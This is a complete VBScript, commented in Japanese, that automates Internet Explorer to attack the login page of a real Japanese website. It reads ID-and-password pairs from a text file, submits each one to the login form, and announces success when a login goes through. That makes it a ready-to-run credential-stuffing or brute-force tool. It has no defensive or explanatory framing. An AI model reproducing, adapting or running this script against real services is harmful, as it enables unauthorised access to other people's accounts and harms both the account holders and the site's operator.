myPAGE = "http://c.peps.jp/pc/login.php" '"http://peps.jp/"

 Set myIE = CreateObject("InternetExplorer.application")
 myIE.Visible = True
 myIE.Navigate myPAGE
 mySTOP(myIE) '読み込むまで待つ

 Set myFS = CreateObject("Scripting.FileSystemObject")
 With myFS.GetFile("AAA.txt").OpenAsTextStream
'----------------------------------------------------
 Do
     If .AtEndOfLine Then Exit Do 'データ終了で脱出
     myID = .ReadLine '1行読み込み
     myPS = Mid(myID, InStr(1, myID, "+") + 1)
     myID = Mid(myID, 1, InStr(1, myID, "+") - 1)

     myIE.Document.forms(1).id.Value = myID
     myIE.Document.forms(1).ps.Value = myPS
     myIE.Document.forms(1).submit

     mySTOP(myIE) '読み込むまで待つ
     If myIE.Document.forms(1).id = undefined Then
         Msgbox "通過しました"
         wscript.quit
     End If

     myIE.Navigate myPAGE '元のページに戻る
     mySTOP(myIE) '読み込むまで待つ
 Loop
 .Close 'クローズ
 End With
 msgbox "最後までおわりました"
'----------------------------------------------------
Sub mySTOP(myIE) 'まちあわせる共通処理
    Do
      If myIE.Busy = False Then Exit Do
    Loop
    Do
      If myIE.Document.readyState = "complete" Then Exit Do
    Loop
End Sub